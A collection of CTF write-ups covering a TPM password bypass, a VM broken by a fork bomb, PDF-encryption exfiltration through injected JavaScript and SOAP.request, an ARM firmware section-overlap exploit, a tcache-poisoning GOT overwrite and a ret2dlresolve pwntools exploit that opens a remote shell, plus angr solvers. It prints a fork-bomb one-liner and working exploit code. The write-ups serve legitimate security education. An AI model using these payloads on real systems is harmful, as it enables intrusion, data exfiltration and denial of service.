The password is checked via the chain `ExecuteCommand` -> `ParseSessionBuffer` -> `CheckAuthSession` -> `CheckPWAuthSession` -> `MemoryEqual2B`,in the end it just compares the provided password with somehow-calculated value.Aha! I have a debugger, so I can just read the correct value without botheringhow exactly it is fetched/calculated, using a breakpoint in corresponding location.All intermediate functions between `ParseSessionBuffer` and `MemoryEqual2B` turn outto be inlined, the actual call instruction `jal ra,MemoryEqual2B` is at `0x58a84`relative to base of libtpms (it is different each time due to ASLR, butshould have been found during previous tracing) and the conditional branch `beqz`is at `0x58a88`.
The correct value turns out to be 32-byte binary instead of a text,`7740ba0e627b5d6ba2a0acf0175981504350d9d9481963d1e0bba39ce6bc773c`. Then, there aretwo equally valid choices:* skip the branch in gdb (`set $pc = $pc+4` when `$pc` points to `0x58a88`) to bypass the check; the further decryption succeeds even with a wrong password;* write those bytes in a binary file and provide `-passin file:passwordhash` to openssl.
Further investigation reveals that if the password is too long, it is hashedby tpm2-tss library inside openssl: [https://github.com/tpm2-software/tpm2-tss/blob/e900ef04ccec7e1daab9542124339e225800b7a3/src/tss2-esys/esys_iutil.c#L1567](https://github.com/tpm2-software/tpm2-tss/blob/e900ef04ccec7e1daab9542124339e225800b7a3/src/tss2-esys/esys_iutil.c#L1567) .So the actual password remains a mystery (or maybe it actually was binary from the beginning?),but it is not needed for the flag. The flag is given by openssl outputwith bypassed or provided password: `CTF{My_super_strong_P455w0rd_is_now_yours!}`. |
# Class Project
## Description
I was working on a project for my C programming class and I broke my VM when trying to compile my code! My project is due at 11:59. Can you please help me get my VM up and running again?
VM Password: 1_w1ll_n07_br34k_7h15
https://drive.google.com/drive/folders/1gE4Idj6DjhJ3AX64tOL3Tp31k8gurj94?usp=sharing
## Solution
The zip contais a `vmdk` files that can be open with VMware
Once started the machine was extremely slow and did not seem to respond even to a simple `ls` in the terminal
So we opted to stop using this VM and start focusing on the disk content only
We can mount the `vmdk` file into another OS and starting exploring the files
First, let's try to search for `UMDCTF`
```console$ ack 'UMDCTF'home/aman_esc/Documents/admin_notes6:4. UMDCTF Kickoff! - Done!```
Nice, let's see the content of this file
```console$ cat admin_notesONLY USE THIS ACCOUNT FOR THINGS THAT NEED ESCALATED PRIVS
1. Check homework for today2. Plan for class tomorrow3. Remember to hydrate!4. UMDCTF Kickoff! - Done!5. Finish paper for English class.6. Finish project for next Thursday!7. Verify VU1EQ1RGe2YwcmtfYjBtYjVfNHIzXzRfYjRkXzcxbTN9```
And here is the flag encoded in `base64`
In the same folder there was also this file
```console$ cat fork_bomb.bash#!/bin/bash:(){ :|:& };:```
This explain why the VM was so slow...
#### **FLAG >>** `UMDCTF{f0rk_b0mb5_4r3_4_b4d_71m3}` |
# PDF-Xfiltration
> Try to steal data from Dr. Virus to understand what's happening to your brother.
The description also links to a webpage with a lengthy lore, but TLDR:- we are given an encrypted PDF file,- our task is to read it contents,- we can upload a PDF file in a provided web app,- the uploaded PDF will be opened by a bot in a PDF-XChange Editor in version 7.0.326.1.
First we looked at the PDF-XChange editor changelog athttps://www.tracker-software.com/product/pdf-xchange-editor/history and found our that the next version had a followingvulnerability fixed:
> The Editor, and our other products that work with XMP, are now not affected by the "Billion laughs attack".
The attached support board thread had a PoC attached with an XXE vulnerability in XMP metadata. We've tried with thisapproach for a while, but it either didn't work or the upload webpage refused to accept our PDF file:
```Error on upload: XXE attack attempt detected. This is not the right path.```
We've even obfuscted the XML XMP metadata stream using a `/ASCIIHexDecode` filter, but guess what... **it wasn't theright path**. It was even possible that the PDF password to the provided encrypted PDF wasn't stored in a filesystem, soXXE approach wouldn't help us anyway.
Our next idea was to prepare a PDF file with an interactive text input and an attached script that would send us theresult. If the bot was programmed to input a password in a dialog and pressing [enter] that would possibly send us the password. The form submit would display a warning and ask the user if it wants to send us the form, but wereckoned that it might be automatically accepted when the bot would press [enter]. Sadly, it just didn't work.
Back to the drawing board... and a lot of Google searching, which fortunately was quite fruitful. We came upon a paperdescribing, what basically is, a solution to our challenge: exfiltrating an encrypted content from a maliciouslymodified PDF upon opening it.
We recommend everyone to read it in full: https://pdf-insecurity.org/download/paper-pdf_encryption-ccs2019.pdf. That'ssome really cool research!
So the main issue with PDF encryption is that only parts of it are encrypted and the rest isn't authenticated at all. We can modify all the unencrypted parts as we wish and even add our own, unencrypted objects. The idea is to add a customJavaScript code that upon opening and decrypting data would send it back to us.
The basic structure of a PDF file is that it consists of objects with their attributes and data in form of stringsand streams (binary data). Our provided PDF file looks like this:
```%PDF-1.7%����1 0 obj<< /PageLayout /OneColumn /Pages 4 0 R /Type /Catalog >>endobj2 0 obj<< /CreationDate <5052dd9f3a4e02156dad8653cdaebd0ec9924e398fb069b7a68e1ed3cd9f75605d2a95540b770dd7919dd6ed943b1c77> /Producer <1c1a1e2d0766c0ecdfad3c10ce7deb030e3a69c2bcd4267ca67f9e681344e55159a02e86b7ef87678e7b2c12052acfdea82cd1f08237e293cdb84a4310a59a30> >>endobj3 0 obj<< /Contents 5 0 R /MediaBox 6 0 R /Parent 4 0 R /Resources 7 0 R /Type /Page >>endobj```
...
```5 0 obj<< /Filter /FlateDecode /Length 272 >>stream�?1@������l��W?���X�&]L=?~/� ... binary data ... ��}}?8�?�a�7�?��O?� 4?�<��8� �q��9�endstreamendobj```
...
```9 0 obj<< /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >> /Filter /Standard /Length 256 /O <c37e813188aee0710d84780cdbd8f5911de08ad42e126bd25c7333caf4540eddf5206f6a77d78ecad15e92cb7d1eefe2> /OE <47892a2defde16d7c57eb11f414f6da78f0464984b0e95cbc8d17a8c720b9fcd> /P -1028 /Perms <0169d0437c42dabefbcd653efced456b> /R 6 /StmF /StdCF /StrF /StdCF /U <3c9aa6a28f972b072f290ae4781ab76ae1335bcfd46dc00f1c4dd24e65ea8986e9179277232bfd7462c44640382f8a9b> /UE <6c3394663ab0ce631d011e61a7891f3da2e9c9bdc22a3dde8d1efd6db0c0ceec> /V 5 >>endobjxref0 100000000000 65535 f 0000000015 00000 n 0000000087 00000 n 0000000362 00000 n 0000000458 00000 n 0000000517 00000 n 0000000861 00000 n 0000000898 00000 n 0000001004 00000 n 0000001101 00000 n trailer << /Info 2 0 R /Root 1 0 R /Size 10 /ID [<25577b924d52c40dabeb58264f356ef8><25577b924d52c40dabeb58264f356ef8>] /Encrypt 9 0 R >>startxref1651%%EOF```
So we have 9 objects and one of them, the 5th one is a stream with some binary data. The trailer at the end of the fileis the first thing that PDF readers process. The most important thing is the `/Root 1 0 R` which tells the reader thatthe document root is in the 1st object, and, in our case, the `/Encrypt 9 0 R` which tells us the document is encryptedand the details are specified in the 9th object.
```9 0 obj<< /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >> /Filter /Standard /Length 256 /O <c37e813188aee0710d84780cdbd8f5911de08ad42e126bd25c7333caf4540eddf5206f6a77d78ecad15e92cb7d1eefe2> /OE <47892a2defde16d7c57eb11f414f6da78f0464984b0e95cbc8d17a8c720b9fcd> /P -1028 /Perms <0169d0437c42dabefbcd653efced456b> /R 6 /StmF /StdCF /StrF /StdCF /U <3c9aa6a28f972b072f290ae4781ab76ae1335bcfd46dc00f1c4dd24e65ea8986e9179277232bfd7462c44640382f8a9b> /UE <6c3394663ab0ce631d011e61a7891f3da2e9c9bdc22a3dde8d1efd6db0c0ceec> /V 5 >>endobj```
The attributes specify when the app should ask for a password, what the encryption algorithm is and its parametersand whether it should consider that strings, streams and embedded files as encrypted or not. In our case, all of themshould be encrypted. That's not helpful, because we must add our JavaScript code and it has to be provided as eitherstring or a stream. As it turns out, both the PDF standard and different implementation quirks in various reader appsallow us to have just that. In case of PDF-XChange Editor we can add a filter attribute to a stream specyfing that ituses a special encryption algorithm: "Identity", so no encryption at all.
So let's add a new, unencrypted, object to our PDF file:
```10 0 obj << /Filter [/Crypt] /DecodeParms [<< /Name /Identity >>] /Length 25 >>streamconsole.println("hello");endstreamendobj```
That by itself isn't going to execute the JavaScript code. We need to add a reference to it in the catalog object.
So we change the 1st object from:
```<< /PageLayout /OneColumn /Pages 4 0 R /Type /Catalog >>```
to
```<< /PageLayout /OneColumn /Pages 4 0 R /Type /Catalog /OpenAction << /JS 10 0 R /S /JavaScript >> >>```
The added `/OpenAction` specifies we want to execute JavaScript code from the 10th object upon opening the document.
Now that we can execute our code, we need an exfiltration method. Existing research describes a few possible exfiltrationmethods. Preferably we'd want a 0-click way to send a network request and after testing several approaches we find thatwe can use `SOAP.request('http://server/', [])` to send an HTTP request without triggering any warnings or dialogs in the application.
We've submitted the PDF with these changes, and, voilà, soon we've noticed an incoming HTTP request. Great.
So how do we exfiltrate data from the now decrypted 5th stream? Again, there are several documented approaches.At first, we've used the simplest and pure-JavaScript method using the `getPageNthWord()` function. We've got thefollowing request:
```GET /Patient,Details,Name,Alfonso,Manfreso,DOB,03,15,1959,Gender,M,Patient,ID,15646548,Results,to,the,COVID,test,INS,PDF,NCrypt,0n,BYp,ss,Thr0uGh,D,r3ct,3xf1ltRat1oN?WSDL HTTP/1.1```
We kinda see the flag there: `INS,PDF,NCrypt,0n,BYp,ss,Thr0uGh,D,r3ct,3xf1ltRat1oN`, but it's missing all of specialcharacters. We've tried to figure them out, but resigned after a few failed submissions.
We can't directly access streams from the JavaScript API, but we can define two types of objects: annotations and embedded files that:- can be accessed from the JavaScript API,- their contents can be pointed to another stream.
First we tried annotations, but we found that the upload form blocked all PDFs with the needed parameter keyword `/Annots`.So we were left with embedded files. Once again we can add their definitions to the catalog.
We change it from the previously modified version of:```<< /PageLayout /OneColumn /Pages 4 0 R /Type /Catalog /OpenAction << /JS 10 0 R /S /JavaScript >> >>```
to
```<< /PageLayout /OneColumn /Pages 4 0 R /Type /Catalog /OpenAction << /JS 10 0 R /S /JavaScript >> /Names << /EmbeddedFiles << /Names [(x) << /EF << /F 5 0 R >> >> ] >> >> >>```
The added `/Names << /EmbeddedFiles << /Names [(x) << /EF << /F 5 0 R >> >> ] >>` specify an embedded file of name "x"with contents of stream in 5th object.
It's content can be accessed in JavaScript with: `util.stringFromStream(this.getDataObjectContents("x",true));`.
Once again the upload form tried to annoy us with blacklisting the function name, but this time we've got several optionsto obfuscate the code. The simplest `util.stringFromStream(this["getDat" + "aObje" + "ctContents"]("x",true))` did the work.
We sent the final payload and got the complete flag in the incoming HTTP request: `INS{PDF_#NCrypt!0n_BYp@ss_Thr0uGh_D/r3ct_3xf1ltRat1oN}`
The challenge would have been a lot easier if we'd also found PoCs attached with the original paper on PDF exfiltration,but at least that forced us to learn a lot about PDF internals :).
[We also provide the complete Python script making the nessesary modifications](./kodzik.py) with the [original](./original.pdf) and [final](final.pdf) PDF files. |
The task gives ELF ARM binary along with sources `main.rs`:```#![no_std]#![no_main]#![feature(asm)]
mod qemu;mod reset;mod uart;use core::cell::RefCell;
struct RefCellWrapper<T>(pub RefCell<T>);
unsafe impl<T> Sync for RefCellWrapper<T> {}
use core::ops::Deref;impl<T> Deref for RefCellWrapper<T> { type Target = RefCell<T>; fn deref(&self) -> &RefCell<T> { &self.0 }}
#[link_section = ".mainbuffer"]static BUFFER: RefCellWrapper<[u8; 32]> = RefCellWrapper(RefCell::new([0u8; 32]));
#[repr(C)]struct AdminParams { serial: [u8; 16], device_name: [u8; 10], debug_mode: bool, interrupt_init: u32,}
#[link_section = ".config"]static CONFIG: RefCellWrapper<AdminParams> = RefCellWrapper(RefCell::new(AdminParams { serial: [0; 16], device_name: [0; 10], debug_mode: false, interrupt_init: 0u32,}));
fn init() { let mut config = CONFIG.borrow_mut(); config.serial = [0xd7; 16]; config.device_name = *b"PuzzleTime";}
fn init_vtor() { let new_vtor = CONFIG.borrow().interrupt_init; if new_vtor <= 0x2000_0000 { unsafe { core::ptr::write_volatile(0xE000ED08 as *mut u32, new_vtor) }; }}
#[link_section = ".welcome"]#[inline(never)]fn print_welcome() { let lr = reset::__get_lr();
println!("--- Welcome to Donjon services ---");
if lr & 0xfffffff0 == 0xfffffff0 { qemu::dump_flag(); qemu::exit(); }}
fn recv() { print!("Command: "); let uart = uart::UART::new();
let mut buffer = BUFFER.borrow_mut(); for b in buffer.iter_mut() { let byte = uart.receive_byte(); print!("{}", byte as char); if byte == b'\n' as u8 { break; } else { *b = byte; } } print!("\n");}
fn recv_and_exec_cmd() { recv();
let buffer = BUFFER.borrow(); let opcode = buffer[0];
match opcode { 0x30 => print_welcome(), 0x31 => { if CONFIG.borrow().debug_mode { init_vtor(); } else { println!("Not in DEBUG mode."); } } _ => println!("Unknown command"), }}
#[no_mangle]pub fn _start() { init(); init_vtor();
recv_and_exec_cmd(); recv_and_exec_cmd();}````reset.rs`:```use crate::qemu::exit;
pub fn default_handler() -> ! { exit();}
#[inline(always)]pub fn __get_lr() -> u32 { let lr: u32; unsafe { asm!("mov {}, lr", out(reg) lr); } lr}
pub fn hf_handler() -> ! { crate::println!("[!] HardFault hit, shutting down..."); exit();}
#[link_section = ".vectort"]#[used]pub static VECTOR_INIT_TABLE: [fn() -> !; 2] = [default_handler, hf_handler];```plus `qemu.rs` and `uart.rs` that have some not-really-interesting helper functions. There is also `client.py` that talks to the server:```import numpy as npimport requestsfrom binascii import hexlify
url = "http://puzzle.donjon-ctf.io:7000"
def send(dat): data = hexlify(bytes(dat, 'utf8')).decode() cmd = {'cmd' : 'send', 'data': data } x = requests.post(url, json = cmd) return x.json()
if __name__ == "__main__": print(send("0\n1\n")["message"])```
A trap can be seen with `objdump --headers puzzle1`:```
puzzle1: file format elf32-littlearm
Sections:Idx Name Size VMA LMA File off Algn 0 .vector_table 00000200 00000000 00000000 00010000 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .text 00002a1a 00000200 00000200 00010200 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 2 .welcome 000000ae 00002c1a 00002c1a 00012c1a 2**1 CONTENTS, ALLOC, LOAD, READONLY, CODE 3 .rodata 0000134f 00003000 00003000 00013000 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .mainbuffer 00000024 20000000 20001000 00020000 2**2 CONTENTS, ALLOC, LOAD, DATA 5 .config 00000024 20000000 20001024 00030000 2**2 CONTENTS, ALLOC, LOAD, DATA 6 .bss 00000024 20000000 20000000 00020000 2**0 ALLOC 7 .ARM.attributes 00000032 00000000 00000000 00030024 2**0 CONTENTS, READONLY 8 .debug_abbrev 00000224 00000000 00000000 00030056 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 9 .debug_info 0001fc6c 00000000 00000000 0003027a 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 10 .debug_aranges 000017b8 00000000 00000000 0004fee6 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 11 .debug_ranges 00018de0 00000000 00000000 0005169e 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 12 .debug_str 0002d3dd 00000000 00000000 0006a47e 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 13 .debug_pubnames 0000bb40 00000000 00000000 0009785b 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 14 .debug_pubtypes 00000012 00000000 00000000 000a339b 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS 15 .debug_frame 00005304 00000000 00000000 000a33b0 2**2 CONTENTS, READONLY, DEBUGGING, OCTETS 16 .debug_line 00021b84 00000000 00000000 000a86b4 2**0 CONTENTS, READONLY, DEBUGGING, OCTETS```VMAs for two sections `.mainbuffer` and `.config` (as well as `.bss`) are the same, so the sections overlap after loading, and our data that go into `.mainbuffer` overwrite bytes from `.config`. First 26 bytes of the config are not used, but 27-th byte is `debug_mode` that changes processing of the command `0x31`. Let's check it:```$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"300A310A"}'{"message":"Command: 0\n\n--- Welcome to Donjon services ---\nCommand: 1\n\nNot in DEBUG mode.\n[!] HardFault hit, shutting down...\n"}$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"302020202020202020202020202020202020202020202020202020200A310A"}'{"message":"Command: 0 \n\n--- Welcome to Donjon services ---\nCommand: 1\n\n[!] HardFault hit, shutting down...\n"}```Yep, the message "Not in DEBUG mode" is gone.
The message about HardFault suggests that `hf_handler` is called, probably via interrupt table. The command 0x31 in "debug" mode rewrites interrupt table pointer with our data; let's make it point to `print_welcome`. Looking for an address of `print_welcome` (plus 1 due to thumb mode), we find it at 0x300C in `.rodata`; interrupt table pointer should point below to accomodate that hardfault is not the first vector in the table. The final command is```$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"3020202020202020202020202020202020202020202020202020202000300A310A"}'{"message":"Command: 0 \u00000\n\n--- Welcome to Donjon services ---\nCommand: 1\n\n--- Welcome to Donjon services ---\nCTF{embedded_with_care}\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\n"}``` |
They have told us that the answer is hidden in the past. It's a hint to use wayback machine. So I went to archive.org and searched for cyberange.io
In the search result, I saw that the site is live since 2016.
I have checked every screenshot starting from 2016 one by one and found the flag on a screenshot of 28th April, 2018.
I was looking for the theme owner and found '#Flatfy Theme by Andrea Galanti' at the bottom of the page.
So, our flag is: flag{andrea_galanti}
Important: You have to submit the name in lowercase.
Thanks |
# cache### slopey | 2/13/2022
TL;DR: tcache poisoning into GOT overwrite
Credits to r4kapig for the original solution.
Full exploit is [here](solve.py).
## Background
We are given a binary with the following menu:
```MENU1: Make new admin2: Make new user3: Print admin info4: Edit Student Name5: Print Student Name6: Delete admin7: Delete user```
After doing some reverse engineering with Ghidra, I conclude the following:1. malloc(0x10); the first 8 bytes is a pointer to the function `admin_info`, and the second 8 bytes is a pointer to `get_flag`.2. malloc(0x10); allocates a 16 byte buffer for the name of user3. calls the function at the first 8 bytes of the admin struct4. writes to the buffer allocated by 25. prints the student name6. calls free on the admin struct7. calls free on the name buffer
Another important piece of information is that this version of LIBC does not have checks for double free. Meaning, if we call commands 1, 6, 6 (or equivalently, 2, 7, 7) we do not crash. Also, tcache is enabled.
## The Game Plan### Stage 1: Tcache Poisoning
We use the tcache poisoning method as outlined [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c) in how2heap in order to obtain an arbitrary pointer to an address. We use tcache poisoning to return a pointer to the GOT entry for `free`. This allows us to set up a GOT overwrite. Here is the code:
```pythonmalloc_user(b"a")free_user()free_user()edit_user(p64(exe.got["free"]))malloc_admin()malloc_user(b"")```As you can see, by triggering the double free vulnerability, we use the use after free vulnerability to edit the freed chunk to return an address on the GOT table.
### Stage 2: LIBC leakSince user is now actually a pointer to the GOT entry for free, we can simply print the user info to obtain a LIBC leak.```pythonr.sendlineafter(b"Choice: ", b"5")r.recvline()libc_leak = u64(b"\x20" + r.recv(5) + b"\x00\x00")log.success(f"LIBC leak at {hex(libc_leak)}")libc.address = libc_leak - 0x97920log.info(f"LIBC base at {hex(libc.address)}")```The last byte of free is overwritten by the newline character, so I append an arbitrary byte to the data. Then, I use gdb to calculate the offset from LIBC (which is where the 0x97920 comes from). This works because the last byte of the LIBC address will always be the same.
### Stage 3: GOT OverwriteFinally, we simply edit the user buffer to the address of system. Then, we can simply free a buffer with name "/bin/sh" to call `system("/bin/sh")`.```pythonedit_user(p64(libc.symbols["free"]) + p64(libc.symbols["puts"]))free_admin()edit_user(p64(libc.symbols["system"]) + p64(libc.symbols["puts"]))malloc_user(b"/bin/sh")free_user()```You may notice that we first free admin. This is because we need a buffer on the tcache bin list that isn't corrupted. Also, we also overwrite the `puts` GOT entry because the newline character would cause a one-byte overwrite of the next GOT entry after `free`, so we need to fully overwrite the puts address with the correct entry. |
PHP filter only allows commands that are less than 5 chars, but are not in the list of blacklisted 2 char strings. Goal is to find a 2 letter linux binary that can be used to read the flag file.
Full video walkthrough: https://www.youtube.com/watch?v=vt71JJLmaVY |
# UMDCTF 2022
## Classic Act
> Pwning your friends is a class act. So why not do it to some random server?> > **Author**: WittsEnd2>> `0.cloud.chals.io 10058`>> [`classicact`](classicact)
Tags: _pwn_ _x86-64_ _bof_ _ret2dlresolve_ _format-string_ _remote-shell_
## Summary
`printf` without a format-string + `gets`, basically makes this a choose your own adventure.
I solved this with _ret2dlresolve_. Read [this](https://github.com/datajerk/ctf-write-ups/blob/master/redpwnctf2021/getsome_beginner-generic-pwn-number-0_ret2generic-flag-reader_ret2the-unknown/README.md) and follow the links there if you want to learn more about _ret2dlresolve_.
The short of it is, use `printf` to leak the canary, then `gets` to overflow the buffer for a ROP chain that uses _ret2dlresolve_.
60 second solve.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
`gets` + Partial RELRO + No PIE = _ret2dlresolve_. We'll just have to take care of that canary first.
### Ghidra Decompile
```cbool vuln(void){ int iVar1; long in_FS_OFFSET; char local_68 [16]; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Please enter your name!"); gets(local_68); puts("Hello:"); printf(local_68); putchar(10); puts("What would you like to do today?"); gets(local_58); iVar1 = strncmp(local_58,"Play in UMDCTF!",0xf); if (iVar1 != 0) { puts("Good luck doing that!"); } else { puts("You have come to the right place!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return iVar1 != 0;}```
The main vulnerability is `gets`, but there is a canary spoiling our fun; no worries, `printf` has no format string, so we can use it to leak the canary from the stack:
```0x00007fffffffe2e0│+0x0000: 0x0000000000000000 ← $rsp0x00007fffffffe2e8│+0x0008: 0x00007fff000000000x00007fffffffe2f0│+0x0010: 0x0000000068616c62 ("blah"?) ← $rdi0x00007fffffffe2f8│+0x0018: 0x00000000000000000x00007fffffffe300│+0x0020: 0x00007ffff7fad4a0 → 0x00000000000000000x00007fffffffe308│+0x0028: 0x00007ffff7e516bd → <_IO_file_setbuf+13> test rax, rax0x00007fffffffe310│+0x0030: 0x00007ffff7fac6a0 → 0x00000000fbad28870x00007fffffffe318│+0x0038: 0x00007ffff7e47dbc → <setbuffer+204> test DWORD PTR [rbx], 0x80000x00007fffffffe320│+0x0040: 0x00000000000000c20x00007fffffffe328│+0x0048: 0x0000000000401340 → <__libc_csu_init+0> endbr640x00007fffffffe330│+0x0050: 0x00007fffffffe350 → 0x00007fffffffe370 → 0x00000000000000000x00007fffffffe338│+0x0058: 0x0000000000401110 → <_start+0> endbr640x00007fffffffe340│+0x0060: 0x00007fffffffe460 → 0x00000000000000010x00007fffffffe348│+0x0068: 0xd9d9ed67a31c18000x00007fffffffe350│+0x0070: 0x00007fffffffe370 → 0x0000000000000000 ← $rbp```
This is the stack just before `printf` is called. The canary is just above the preserved base pointer (`$rbp`). You can verify this with `canary`:
```gef➤ canary[+] Found AT_RANDOM at 0x7fffffffe6c9, reading 8 bytes[+] The canary of process 28661 is 0xd9d9ed67a31c1800```
To compute the parameter to pass to `printf`:
```gef➤ p/d 0x68 / 8 + 6$1 = 19```
The canary is `0x68` bytes from `rsp` (see stack dump above). Since this is a 64-bit system, just divide by 8 and add 6 (since the previous 5 parameters are in registers, Google for _Linux x86\_64 ABI_ or read the `printf` disassembly or some of my other _format-string_ write ups for details on why _6_).
The rest is cooker cutter ret2dlresolve.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./classicact',checksec=False)
dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop = ROP(binary)ret = rop.find_gadget(['ret'])[0]rop.raw(ret)rop.gets(dl.data_addr)rop.ret2dlresolve(dl)
if args.REMOTE: p = remote('0.cloud.chals.io', 10058)else: p = process(binary.path)
p.sendlineafter(b'name!\n',b'%19$p')p.recvline()canary = int(p.recvline().strip().decode(),16)log.info('canary: {x}'.format(x = hex(canary)))
payload = b''payload += (0x58 - 0x10) * b'A'payload += p64(canary)payload += (0x58 - len(payload)) * b'B'payload += rop.chain()payload += b'\n'payload += dl.payload
p.sendlineafter(b'today?\n',payload)p.interactive()```
Not a lot to explain here. Just create the _ret2dlresolve_ payload, connect and leak the canary, then write out garbage with the canary inserted into the correct place followed by _ret2dlresolve_ payload, and win!
> If you do not understand `(0x58 - 0x10)` et al, read the decompile carefully or some of my other write ups. Or look at the stack. (it's just distance from `local_58` (`gets` buffer) to `local_10` (the canary)).
Output:
```bash# ./exploit.py REMOTE=1[*] Loaded 14 cached gadgets for './classicact'[+] Opening connection to 0.cloud.chals.io on port 10058: Done[*] canary: 0x5fc49ac400614c00[*] Switching to interactive modeGood luck doing that!$ cat flagUMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}```
Or, is it? |
# FooBar CTF 2022 - Baby Revnothing to say just solve it ....
## solution
After the competiotion I tried to solve this challenge using angr
We are given a binary which takes a key

its checking lots of conditions.
this is slow and hard to solve it manually so we wrote a script using python and angr to solve it
```pythonimport angrimport claripy
flag_length = 42correct_address = 0x0010287afailure_address = [0x001028a0,0x001011F2,0x00101239,0x00101286,0x001012D4,0x00101306,0x00101354,0x00101391,0x001013CE,0x0010141C,0x00101466,0x001014A6,0x001014F4,0x00101543,0x0010157F,0x001015BB,0x001015F8,0x00101636,0x00101681,0x001016BE,0x0010170E,0x0010175D,0x0010179B,0x001017EA,0x00101800,0x00101850,0x0010188D,0x001018CB,0x00101919,0x00101956,0x00101992,0x001019CF,0x00101A09,0x00101A45,0x00101A91,0x00101ADE,0x00101B2B,0x00101B7A,0x00101BCB,0x00101C09,0x00101C57,0x00101CA8,0x00101CE4,0x00101D32,0x00101D70,0x00101DAC,0x00101DF7,0x00101E33,0x00101E6C,0x00101EAA,0x00101EE7,0x00101F24,0x00101F72,0x00101FAE,0x00101FEC,0x0010203D,0x0010208D,0x001020DD,0x0010212C,0x00102168,0x001021B6,0x00102204,0x00102242,0x00102287,0x001022D8,0x00102314,0x00102361,0x0010239E,0x001023DA,0x00102429,0x0010247A,0x001024CA,0x00102518,0x00102555,0x001025A5,0x001025F3,0x00102642,0x00102690,0x001026CE,0x0010270B,0x0010275B,0x001027A9,0x001027F8,0x00102836,0x00102873]base_address = 0x00100000
proj = angr.Project("./chall", load_options={"auto_load_libs": False}, main_opts={"base_addr": base_address})flag_chars = [claripy.BVS(f"flag{i}", 8) for i in range(flag_length)]flag = claripy.Concat(*flag_chars)
state = proj.factory.full_init_state( args=['./chall',flag],)
simgr = proj.factory.simulation_manager(state)simgr.explore(find=correct_address,avoid=failure_address)
if simgr.found: found = simgr.found[0] res = found.solver.eval(flag, cast_to=bytes) print(res.decode())
```
run it, it takes a while (many seconds) and then we'll get the flag
```GLUG{C01nc1d3nc3_c4n_b3_fr3aky_T6LSERDYB6}``` |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#James-Harold-Japp)(https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#James-Harold-Japp) |
# FooBar CTF 2022 - Matrix Master
## solution
this is slow and hard to solve it manually so we wrote a script using python and angr to solve it
```pythonimport angrimport claripyimport sys
proj = angr.Project("./matrix")state = proj.factory.entry_state()
simgr = proj.factory.simgr()simgr.run()
if simgr.deadended: for s in simgr.deadended: tmp = s.posix.dumps(0) if b"glug" in tmp.lower(): print(tmp)
```
run it, we'll get the flag
```GLUG{EscaP3_7He_m@TRIx}``` |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#Bend)(https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#Bend) |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Avengers-Assemble-2) (https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Avengers-Assemble-2) |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#New-Site-Who-Dis?)(https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#New-Site-Who-Dis?) |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#Piece-it-Together)(https://cyberturtle804502703.wordpress.com/ctf-write-ups/web-exploitation-challenges/#Piece-it-Together) |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Avengers-Assemble) (https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Avengers-Assemble) |
We are given a file that looks like this:
From what we can see, it looks like it's a text encoded in Base64 for 8 times. (8 x 64)
